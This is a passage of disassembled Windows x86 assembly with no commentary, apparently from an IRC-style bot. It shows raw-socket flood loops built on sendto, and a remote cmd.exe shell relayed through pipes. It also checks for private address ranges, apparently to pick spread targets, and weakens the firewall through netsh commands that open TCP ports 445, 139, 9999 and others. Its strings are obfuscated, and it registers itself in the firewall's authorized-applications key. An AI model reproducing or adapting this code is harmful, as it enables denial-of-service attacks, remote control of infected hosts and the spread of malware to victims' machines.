[ebp+var_2C], 0 jz short loc_41DE5D loc_41DE41: ; CODE XREF: sub_41DD09+114j lea eax, [ebp+var_C4] push eax push ebx push edi lea eax, [ebp+var_144] push esi push eax push [ebp+var_4] call sub_41CDD4 add esp, 18h loc_41DE5D: ; CODE XREF: sub_41DD09+136j push [ebp+var_30] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread sub_41DD09 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE6E proc near ; DATA XREF: sub_40A9FE+738Ao var_248 = dword ptr -248h var_240 = byte ptr -240h var_1C0 = byte ptr -1C0h var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = byte ptr -110h var_10F = byte ptr -10Fh var_10E = word ptr -10Eh var_10C = byte ptr -10Ch var_E0 = byte ptr -0E0h var_CC = word ptr -0CCh var_CA = word ptr -0CAh var_C8 = dword ptr -0C8h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_66 = word ptr -66h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = word ptr -5Eh var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = word ptr -54h var_52 = word ptr -52h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_46 = word ptr -46h var_42 = word ptr -42h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = word ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 248h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ch mov esi, eax pop ecx lea edi, [ebp+var_248] rep movsd xor ecx, ecx push 2 inc ecx pop edx mov [eax+12Ch], ecx mov eax, [ebp+var_248] push 4 mov [ebp+var_4], eax pop eax xor ebx, ebx push 3 mov [ebp+var_BC], edx pop esi mov [ebp+var_B8], eax push ebx mov [ebp+var_B4], 5 mov [ebp+var_B0], 0B4h mov [ebp+var_AC], eax mov [ebp+var_A8], edx mov [ebp+var_A4], 8 mov [ebp+var_A0], 0Ah mov [ebp+var_9C], ebx mov [ebp+var_98], ebx mov [ebp+var_94], ebx mov [ebp+var_90], ebx mov [ebp+var_8C], ebx mov [ebp+var_88], ebx mov [ebp+var_84], ebx mov [ebp+var_80], ebx mov [ebp+var_7C], ecx mov [ebp+var_78], esi mov [ebp+var_74], esi mov [ebp+var_70], ebx mov [ebp+arg_0], ebx call sub_42A7D5 mov [ebp+var_14], eax pop ecx lea eax, [ebp+var_1C0] push eax call dword_4372A4 ; gethostbyname mov eax, [eax+0Ch] push 0FFh push esi push 2 mov eax, [eax] mov edi, [eax] call dword_4372BC ; socket cmp eax, ebx mov [ebp+var_C], eax jge short loc_41DFD5 cmp [ebp+var_124], ebx mov edi, dword_437170 mov esi, offset aYhzck13caog0 ; "YhzCK13CaOG0" jnz short loc_41DF91 cmp [ebp+var_128], ebx jnz short loc_41DF99 call edi ; dword_437170 push eax push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push esi lea eax, [ebp+var_240] push offset aSSD ; "%s %s <%d>" push eax push [ebp+var_4] call sub_41CE4A add esp, 18h loc_41DF91: ; CODE XREF: sub_41DE6E+F9j cmp [ebp+var_128], ebx jz short loc_41DFB9 loc_41DF99: ; CODE XREF: sub_41DE6E+101j call edi ; dword_437170 push eax push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push esi lea eax, [ebp+var_240] push offset aSSD ; "%s %s <%d>" push eax push [ebp+var_4] call sub_41CDD4 add esp, 18h loc_41DFB9: ; CODE XREF: sub_41DE6E+129j push [ebp+var_C] call dword_4372D8 ; closesocket push [ebp+var_12C] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_41DFD5: ; CODE XREF: sub_41DE6E+E6j xor eax, eax loc_41DFD7: ; CODE XREF: sub_41DE6E+178j mov cl, byte ptr [ebp+eax*4+var_BC] mov [ebp+eax+var_28], cl inc eax cmp eax, 14h jl short loc_41DFD7 mov eax, [ebp+var_6C] push [ebp+var_134] mov esi, dword_4372C4 and al, 45h or al, 45h mov [ebp+var_68], 10h mov [ebp+var_6C], eax mov [ebp+var_62], 40h mov [ebp+var_60], 40h mov [ebp+var_5F], 6 mov [ebp+var_4C], ebx mov [ebp+var_46], 0Ah mov [ebp+var_48], bx mov [ebp+var_32], bx mov [ebp+var_34], bx mov [ebp+var_38], bx mov [ebp+var_3A], bx mov [ebp+var_3C], bx mov [ebp+var_3E], bx mov [ebp+var_42], bx mov [ebp+var_40], 1 mov [ebp+var_2E], 787Dh mov [ebp+var_2A], bx call esi ; dword_4372C4 movzx eax, ax mov [ebp+var_8], eax loc_41E051: ; CODE XREF: sub_41DE6E+351j call sub_429B9C cdq mov ecx, 0FFh and edi, 0FFFFFFh idiv ecx shl edx, 18h or edi, edx cmp [ebp+var_134], ebx jnz short loc_41E079 call sub_429B9C mov [ebp+var_8], eax loc_41E079: ; CODE XREF: sub_41DE6E+201j push 3Ch call esi ; dword_4372C4 mov [ebp+var_66], ax call sub_429B9C mov [ebp+var_64], ax lea eax, [ebp+var_1C0] push eax mov [ebp+var_5C], edi call sub_41E3EC mov [ebp+var_58], eax mov [ebp+var_5E], bx call sub_429B9C mov [ebp+var_54], ax mov ax, word ptr [ebp+var_8] mov [ebp+var_52], ax call sub_429B9C mov [ebp+var_50], eax mov ax, word ptr [ebp+var_8] mov [ebp+var_CA], ax lea eax, [ebp+var_1C0] push eax mov [ebp+var_2C], bx mov [ebp+var_CC], 2 call sub_41E3EC mov [ebp+var_C8], eax lea eax, [ebp+var_6C] push 14h push eax call sub_41E3E8 mov [ebp+var_5E], ax call sub_429B9C mov [ebp+var_10], eax mov [ebp+var_1F], al mov al, byte ptr [ebp+var_10+2] mov [ebp+var_1E], ah mov [ebp+var_1D], al mov al, byte ptr [ebp+var_10+3] mov [ebp+var_1C], al lea eax, [ebp+var_1C0] push eax mov [ebp+var_118], edi call sub_41E3EC add esp, 14h mov [ebp+var_114], eax mov [ebp+var_110], bl mov [ebp+var_10F], 6 push 28h call esi ; dword_4372C4 mov [ebp+var_10E], ax lea eax, [ebp+var_10C] push 14h push eax lea eax, [ebp+var_54] push eax call sub_429420 lea eax, [ebp+var_E0] push 14h push eax lea eax, [ebp+var_28] push eax call sub_429420 lea eax, [ebp+var_118] push 34h push eax call sub_41E3E8 add esp, 20h mov [ebp+var_2C], ax lea eax, [ebp+var_CC] push 10h push eax push ebx lea eax, [ebp+var_6C] push 3Ch push eax push [ebp+var_C] call dword_437294 ; sendto cmp [ebp+arg_0], 32h jb short loc_41E1B0 push ebx call sub_42A7D5 mov edx, [ebp+var_14] pop ecx mov ecx, [ebp+var_130] add ecx, edx cmp eax, ecx jge short loc_41E1C4 mov [ebp+arg_0], ebx loc_41E1B0: ; CODE XREF: sub_41DE6E+327j push [ebp+var_138] inc [ebp+arg_0] call dword_437190 ; Sleep jmp loc_41E051 ; --------------------------------------------------------------------------- loc_41E1C4: ; CODE XREF: sub_41DE6E+33Dj push [ebp+var_C] call dword_4372D8 ; closesocket cmp [ebp+var_124], ebx mov esi, offset aYhzck13caog0 ; "YhzCK13CaOG0" mov edi, offset aSSS_2 ; "%s %s -> %s" jnz short loc_41E207 cmp [ebp+var_128], ebx jnz short loc_41E20F lea eax, [ebp+var_1C0] push eax push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" push esi lea eax, [ebp+var_240] push edi push eax push [ebp+var_4] call sub_41CE4A add esp, 18h loc_41E207: ; CODE XREF: sub_41DE6E+36Fj cmp [ebp+var_128], ebx jz short loc_41E22F loc_41E20F: ; CODE XREF: sub_41DE6E+377j lea eax, [ebp+var_1C0] push eax push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" push esi lea eax, [ebp+var_240] push edi push eax push [ebp+var_4] call sub_41CDD4 add esp, 18h loc_41E22F: ; CODE XREF: sub_41DE6E+39Fj push [ebp+var_12C] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread sub_41DE6E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E242 proc near ; DATA XREF: sub_40A9FE+74FDo var_15C = dword ptr -15Ch var_154 = byte ptr -154h var_D4 = byte ptr -0D4h var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 15Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ch mov esi, eax pop ecx lea edi, [ebp+var_15C] rep movsd xor edi, edi mov ebx, 2400h inc edi xor esi, esi mov [eax+12Ch], edi mov eax, [ebp+var_15C] push ebx mov [ebp+var_10], eax mov [ebp+var_8], edi mov [ebp+arg_0], esi call sub_4297B8 push esi mov [ebp+var_14], eax call sub_42A7D5 mov [ebp+var_18], eax mov eax, [ebp+var_44] mov [ebp+var_1C], eax push 10h lea eax, [ebp+var_2C] push esi push eax call sub_429760 lea eax, [ebp+var_D4] push eax call sub_41E3EC mov esi, dword_437188 add esp, 18h mov [ebp+var_28], eax mov [ebp+var_2C], 2 call esi ; dword_437188 mov [ebp+var_C], eax jmp short loc_41E345 ; --------------------------------------------------------------------------- loc_41E2C6: ; CODE XREF: sub_41E242+114j call sub_429B9C push 11h push 2 push 2 mov [ebp+var_2A], ax call dword_4372BC ; socket test eax, eax mov [ebp+var_4], eax jl loc_41E3CF lea ecx, [ebp+var_8] push 4 push ecx push 8004667Eh push 11h push eax mov [ebp+var_8], edi call dword_43728C ; setsockopt lea eax, [ebp+var_2C] push 10h push eax push 0 push ebx push [ebp+var_14] push [ebp+var_4] call dword_437294 ; sendto push [ebp+var_4] call sub_42F1A0 cmp [ebp+arg_0], 32h pop ecx jl short loc_41E339 push 0 call sub_42A7D5 mov edx, [ebp+var_18] pop ecx mov ecx, [ebp+var_1C] add ecx, edx cmp eax, ecx jnb short loc_41E35C and [ebp+arg_0], 0 loc_41E339: ; CODE XREF: sub_41E242+DDj push [ebp+var_4C] inc [ebp+arg_0] call dword_437190 ; Sleep loc_41E345: ; CODE XREF: sub_41E242+82j call esi ; dword_437188 sub eax, [ebp+var_C] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_44] jbe loc_41E2C6 loc_41E35C: ; CODE XREF: sub_41E242+F1j push [ebp+var_4] call sub_42F1A0 cmp [ebp+var_38], 0 pop ecx mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0" mov esi, offset aSSS_2 ; "%s %s -> %s" jnz short loc_41E39C cmp [ebp+var_3C], 0 jnz short loc_41E3A2 lea eax, [ebp+var_D4] push eax push ebx push edi lea eax, [ebp+var_154] push esi push eax push [ebp+var_10] call sub_41CE4A add esp, 18h loc_41E39C: ; CODE XREF: sub_41E242+136j cmp [ebp+var_3C], 0 jz short loc_41E3BE loc_41E3A2: ; CODE XREF: sub_41E242+13Cj lea eax, [ebp+var_D4] push eax push ebx push edi lea eax, [ebp+var_154] push esi push eax push [ebp+var_10] call sub_41CDD4 add esp, 18h loc_41E3BE: ; CODE XREF: sub_41E242+15Ej push [ebp+var_40] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread loc_41E3CF: ; CODE XREF: sub_41E242+9Ej push eax call dword_4372D8 ; closesocket push [ebp+var_40] call sub_423623 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_41E242 endp ; =============== S U B R O U T I N E ======================================= sub_41E3E8 proc near ; CODE XREF: sub_41DE6E+27Bp ; sub_41DE6E+2FEp ... xor ax, ax retn sub_41E3E8 endp ; =============== S U B R O U T I N E ======================================= sub_41E3EC proc near ; CODE XREF: .text:00403DADp ; sub_404525+89p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_456F7C ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_41E414 push [esp+arg_0] call dword_456FD4 ; gethostbyname test eax, eax jnz short loc_41E40D or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41E40D: ; CODE XREF: sub_41E3EC+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_41E414: ; CODE XREF: sub_41E3EC+Dj retn sub_41E3EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E415 proc near ; CODE XREF: sub_4020BA+55p ; .text:00403E40p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_429B9C mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi inc eax mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_437340 call sub_42A9E0 sub esi, eax mov eax, esi pop esi leave retn sub_41E415 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E446 proc near ; DATA XREF: sub_420D91+4Co var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push esi push 2 push [ebp+arg_0] lea eax, [ebp+var_8] push eax call sub_42777F mov esi, offset a@_6 ; "@" push esi push [ebp+var_4] call sub_429C5E push esi push 0 call sub_429C5E push eax call sub_41E3EC add esp, 20h mov [ebp+arg_0], eax push eax call dword_456FDC ; inet_ntoa push eax push offset dword_457C40 call dword_4370B4 ; lstrcpyA push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_456ED8 ; gethostbyaddr pop esi test eax, eax push 9Fh jz short loc_41E4AB push dword ptr [eax] jmp short loc_41E4B0 ; --------------------------------------------------------------------------- loc_41E4AB: ; CODE XREF: sub_41E446+5Fj push offset aCouldnTResolve ; "Couldn't resolve" loc_41E4B0: ; CODE XREF: sub_41E446+63j push offset dword_457C58 call sub_429D10 add esp, 0Ch xor eax, eax leave retn sub_41E446 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E4C1 proc near ; CODE XREF: sub_401B6E+15Ap ; sub_406429+F1p ... var_30 = byte ptr -30h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h cmp [ebp+arg_0], 0 push ebx push esi push edi jz loc_41E590 mov esi, dword_437178 push offset byte_454A54 push [ebp+arg_0] call esi ; dword_437178 test eax, eax jz loc_41E590 push 20h lea eax, [ebp+var_30] push [ebp+arg_0] push eax call sub_429D10 mov edi, offset dword_43AB8C lea eax, [ebp+var_30] push edi push eax call sub_429C5E add esp, 14h mov [ebp+var_10], eax test eax, eax jz short loc_41E590 xor ebx, ebx inc ebx loc_41E516: ; CODE XREF: sub_41E4C1+6Bj push edi push 0 call sub_429C5E pop ecx mov [ebp+ebx*4+var_10], eax test eax, eax pop ecx jz short loc_41E590 inc ebx cmp ebx, 4 jl short loc_41E516 mov edi, [ebp+var_10] push offset a10 ; "10" push edi call esi ; dword_437178 test eax, eax jz short loc_41E58B push offset a172 ; "172" push edi call esi ; dword_437178 test eax, eax jnz short loc_41E557 push offset a16 ; "16" push [ebp+var_C] call esi ; dword_437178 test eax, eax jz short loc_41E58B loc_41E557: ; CODE XREF: sub_41E4C1+86j push offset a192 ; "192" push edi call esi ; dword_437178 test eax, eax jnz short loc_41E571 push offset a168 ; "168" push [ebp+var_C] call esi ; dword_437178 test eax, eax jz short loc_41E58B loc_41E571: ; CODE XREF: sub_41E4C1+A0j push offset a90 ; "90" push edi call esi ; dword_437178 test eax, eax jnz short loc_41E590 push offset dword_43A30C push [ebp+var_C] call esi ; dword_437178 test eax, eax jnz short loc_41E590 loc_41E58B: ; CODE XREF: sub_41E4C1+7Aj ; sub_41E4C1+94j ... xor eax, eax inc eax jmp short loc_41E592 ; --------------------------------------------------------------------------- loc_41E590: ; CODE XREF: sub_41E4C1+Dj ; sub_41E4C1+25j ... xor eax, eax loc_41E592: ; CODE XREF: sub_41E4C1+CDj pop edi pop esi pop ebx leave retn sub_41E4C1 endp ; =============== S U B R O U T I N E ======================================= sub_41E597 proc near ; CODE XREF: sub_41E5C7+2Ap ; sub_41E5FF+59p ... mov eax, dword_4586F4 push esi mov esi, dword_437044 cmp eax, 0FFFFFFFFh jz short loc_41E5AB push eax call esi ; dword_437044 loc_41E5AB: ; CODE XREF: sub_41E597+Fj mov eax, dword_4586FC cmp eax, 0FFFFFFFFh jz short loc_41E5B8 push eax call esi ; dword_437044 loc_41E5B8: ; CODE XREF: sub_41E597+1Cj mov eax, dword_4586F0 cmp eax, 0FFFFFFFFh jz short loc_41E5C5 push eax call esi ; dword_437044 loc_41E5C5: ; CODE XREF: sub_41E597+29j pop esi retn sub_41E597 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5C7 proc near ; CODE XREF: sub_40A9FE+48E4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_4293A0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4586F8 call dword_437078 ; WriteFile test eax, eax jnz short loc_41E5FA call sub_41E597 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41E5FA: ; CODE XREF: sub_41E5C7+28j xor eax, eax inc eax leave retn sub_41E5C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5FF proc near ; CODE XREF: sub_41E661+DBp ; sub_41E661+FAp ... var_2710 = byte ptr -2710h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 2710h call sub_429B60 push offset byte_454A54 push [ebp+arg_0] call dword_4370FC ; lstrcmpA test eax, eax jz short loc_41E641 push 3E8h call dword_437190 ; Sleep push [ebp+arg_8] push offset aS_5 ; "%s" push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A add esp, 10h jmp short loc_41E65D ; --------------------------------------------------------------------------- loc_41E641: ; CODE XREF: sub_41E5FF+1Dj push [ebp+arg_8] lea eax, [ebp+var_2710] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch call sub_41E597 loc_41E65D: ; CODE XREF: sub_41E5FF+40j xor eax, eax leave retn sub_41E5FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E661 proc near ; DATA XREF: sub_41E7BE+177o var_271C = byte ptr -271Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 271Ch call sub_429B60 push ebx push esi push edi mov esi, 2710h xor edi, edi mov ebx, offset dword_458714 loc_41E67D: ; CODE XREF: sub_41E661+7Dj ; sub_41E661+E3j push esi lea eax, [ebp+var_271C] push edi push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_271C] push esi push eax push dword_4586F4 call dword_437104 ; PeekNamedPipe test eax, eax jz loc_41E74F cmp [ebp+var_4], edi jnz short loc_41E6E0 lea eax, [ebp+var_8] push eax push dword_4586F0 call dword_437100 ; GetExitCodeProcess test eax, eax jz short loc_41E6D6 cmp [ebp+var_8], 103h jnz loc_41E773 loc_41E6D6: ; CODE XREF: sub_41E661+66j push 0Ah call dword_437190 ; Sleep jmp short loc_41E67D ; --------------------------------------------------------------------------- loc_41E6E0: ; CODE XREF: sub_41E661+52j xor eax, eax cmp [ebp+var_4], edi jbe short loc_41E6F7 loc_41E6E7: ; CODE XREF: sub_41E661+94j cmp [ebp+eax+var_271C], 0Ah jz short loc_41E749 inc eax cmp eax, [ebp+var_4] jb short loc_41E6E7 loc_41E6F7: ; CODE XREF: sub_41E661+84j mov [ebp+var_4], 200h loc_41E6FE: ; CODE XREF: sub_41E661+ECj push esi lea eax, [ebp+var_271C] push edi push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_271C] push eax push dword_4586F4 call dword_437084 ; ReadFile test eax, eax jz short loc_41E79B lea eax, [ebp+var_271C] push eax push dword_458700 push ebx call sub_41E5FF add esp, 0Ch jmp loc_41E67D ; --------------------------------------------------------------------------- loc_41E749: ; CODE XREF: sub_41E661+8Ej inc eax mov [ebp+var_4], eax jmp short loc_41E6FE ; --------------------------------------------------------------------------- loc_41E74F: ; CODE XREF: sub_41E661+49j push offset aCouldNotReadDa ; "Could not read data from proccess.\r\n" push dword_458700 push ebx call sub_41E5FF push [ebp+arg_0] call sub_423623 add esp, 10h push 1 call dword_437174 ; ExitThread loc_41E773: ; CODE XREF: sub_41E661+6Fj call sub_41E597 push offset aProccessHasTer ; "Proccess has terminated.\r\n" push dword_458700 push ebx call sub_41E5FF push [ebp+arg_0] call sub_423623 add esp, 10h push edi call dword_437174 ; ExitThread loc_41E79B: ; CODE XREF: sub_41E661+CBj push offset aCouldNotReadDa ; "Could not read data from proccess.\r\n" push dword_458700 push ebx call sub_41E5FF push [ebp+arg_0] call sub_423623 add esp, 10h push edi call dword_437174 ; ExitThread sub_41E661 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7BE proc near ; CODE XREF: sub_40A9FE+4777p var_2884 = byte ptr -2884h var_174 = byte ptr -174h var_70 = dword ptr -70h var_44 = dword ptr -44h var_40 = word ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2884h call sub_429B60 mov eax, [ebp+arg_4] push ebx push esi push edi mov dword_458700, eax call sub_41E597 xor esi, esi lea eax, [ebp+var_174] push esi push eax push 104h mov edi, offset aCmd_exe ; "cmd.exe" push esi push edi push esi call dword_457020 ; SearchPathA test eax, eax jz loc_41E8BE lea eax, [ebp+var_18] mov ebx, dword_43710C push esi push eax lea eax, [ebp+var_8] mov [ebp+var_18], 0Ch push eax lea eax, [ebp+var_C] push eax mov [ebp+var_10], 1 mov [ebp+var_14], esi call ebx ; dword_43710C test eax, eax jz loc_41E8BE lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push eax call ebx ; dword_43710C test eax, eax jz short loc_41E8BE mov ebx, dword_43704C push 3 push esi push esi push offset dword_4586F8 call ebx ; dword_43704C push eax push [ebp+var_4] call ebx ; dword_43704C push eax call dword_437108 ; DuplicateHandle test eax, eax jz short loc_41E8BE push 10h lea eax, [ebp+var_28] push esi push eax call sub_429760 push 44h lea eax, [ebp+var_70] pop ebx push ebx push esi push eax call sub_429760 mov eax, [ebp+arg_4] add esp, 18h mov [ebp+var_38], eax mov eax, [ebp+var_8] mov [ebp+var_34], eax mov [ebp+var_30], eax lea eax, [ebp+var_28] mov [ebp+var_70], ebx push eax lea eax, [ebp+var_70] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_174] push edi push eax mov [ebp+var_44], 101h mov [ebp+var_40], si call dword_4370D8 ; CreateProcessA test eax, eax jnz short loc_41E8C6 loc_41E8BE: ; CODE XREF: sub_41E7BE+3Cj ; sub_41E7BE+6Aj ... or eax, 0FFFFFFFFh jmp loc_41E96A ; --------------------------------------------------------------------------- loc_41E8C6: ; CODE XREF: sub_41E7BE+FEj push [ebp+arg_4] mov edi, dword_437044 call edi ; dword_437044 mov eax, [ebp+var_C] push [ebp+var_24] mov dword_4586F4, eax mov eax, [ebp+var_4] mov dword_4586FC, eax mov eax, [ebp+var_28] mov dword_4586F0, eax call edi ; dword_437044 cmp [ebp+arg_0], esi jz short loc_41E8F8 push [ebp+arg_0] jmp short loc_41E8FD ; --------------------------------------------------------------------------- loc_41E8F8: ; CODE XREF: sub_41E7BE+133j push offset byte_454A54 loc_41E8FD: ; CODE XREF: sub_41E7BE+138j push offset dword_458714 call sub_429B03 pop ecx mov ebx, offset aWhdag1glagf_ ; "WHdAg1glAgf." pop ecx push ebx push offset aSCmdPrompt ; "%s CMD Prompt" push 0Fh call sub_4234A7 mov edi, eax mov ecx, [ebp+var_20] imul edi, 2724h add esp, 0Ch mov dword_46D728[edi], ecx lea ecx, [ebp+var_2C] push ecx push esi push eax push offset sub_41E661 push esi push esi call dword_437180 ; CreateThread cmp eax, esi mov dword_46D72C[edi], eax jnz short loc_41E968 call dword_437170 ; RtlGetLastWin32Error push eax push ebx lea eax, [ebp+var_2884] push offset aSFailedToStart ; "%s Failed to start IO thread, error: <%"... push eax call sub_429B03 add esp, 10h loc_41E968: ; CODE XREF: sub_41E7BE+18Cj xor eax, eax loc_41E96A: ; CODE XREF: sub_41E7BE+103j pop edi pop esi pop ebx leave retn sub_41E7BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E96F proc near ; CODE XREF: sub_418FA1+535p var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h push ebx push esi mov esi, offset dword_4439A8 push edi lea eax, [ebp+var_404] push esi push eax call dword_4370B4 ; lstrcpyA lea eax, [ebp+var_404] push offset aEnabled ; ":*:Enabled:" push eax call sub_42A5E0 lea eax, [ebp+var_404] push offset aSystem_0 ; "SYSTEM" push eax call sub_42A5E0 mov edi, dword_437004 add esp, 10h lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push offset aSystemCurren_4 ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call edi ; dword_437004 lea eax, [ebp+var_404] push eax call sub_4293A0 pop ecx mov ebx, dword_437008 push eax lea eax, [ebp+var_404] push eax push 1 push 0 push esi push [ebp+var_4] call ebx ; dword_437008 lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push offset aSystemCurren_5 ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call edi ; dword_437004 lea eax, [ebp+var_404] push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_404] push eax push 1 push 0 push esi push [ebp+var_4] call ebx ; dword_437008 pop edi pop esi pop ebx leave retn sub_41E96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41EA30 proc near ; DATA XREF: sub_418FA1+541o var_A0 = byte ptr -0A0h var_88 = byte ptr -88h var_78 = byte ptr -78h arg_D0 = byte ptr 0D4h arg_2B8 = byte ptr 2BCh arg_4A0 = byte ptr 4A4h arg_700 = byte ptr 704h arg_8E8 = byte ptr 8ECh arg_A78 = byte ptr 0A7Ch arg_E60 = byte ptr 0E64h mov eax, 1304h call sub_429B60 push ebx push ebp push esi push edi push offset aFirewallSetP_0 ; "firewall set portopening TCP 445 NB" lea eax, [esp+14h+arg_700] push 200h push eax call sub_429BBE add esp, 0Ch mov esi, dword_43725C xor ebp, ebp lea eax, [esp+10h+arg_700] push ebp push ebp mov ebx, offset aNetsh ; "netsh" push eax mov edi, offset aOpen ; "open" push ebx push edi push ebp call esi ; dword_43725C push offset aFirewallSetP_1 ; "firewall set portopening TCP 139 NB" lea eax, [esp+2Ch+arg_8E8] push 200h push eax call sub_429BBE add esp, 0Ch lea eax, [esp+28h+arg_8E8] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_43725C push offset aFirewallSetP_2 ; "firewall set portopening TCP 1013 BS" lea eax, [esp+44h+arg_D0] push 200h push eax call sub_429BBE add esp, 0Ch lea eax, [esp+40h+arg_D0] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_43725C push offset aFirewallSetP_3 ; "firewall set portopening TCP 9999 PORT1"... lea eax, [esp+5Ch+arg_2B8] push 200h push eax call sub_429BBE add esp, 0Ch lea eax, [esp+58h+arg_2B8] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_43725C push offset aFirewallSetP_4 ; "firewall set portopening TCP 9991 PORT2"... lea eax, [esp+74h+arg_4A0] push 200h push eax call sub_429BBE add esp, 0Ch lea eax, [esp+70h+arg_4A0] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_43725C push 104h lea eax, [esp+8Ch+var_78] push eax push ebp call dword_437070 ; 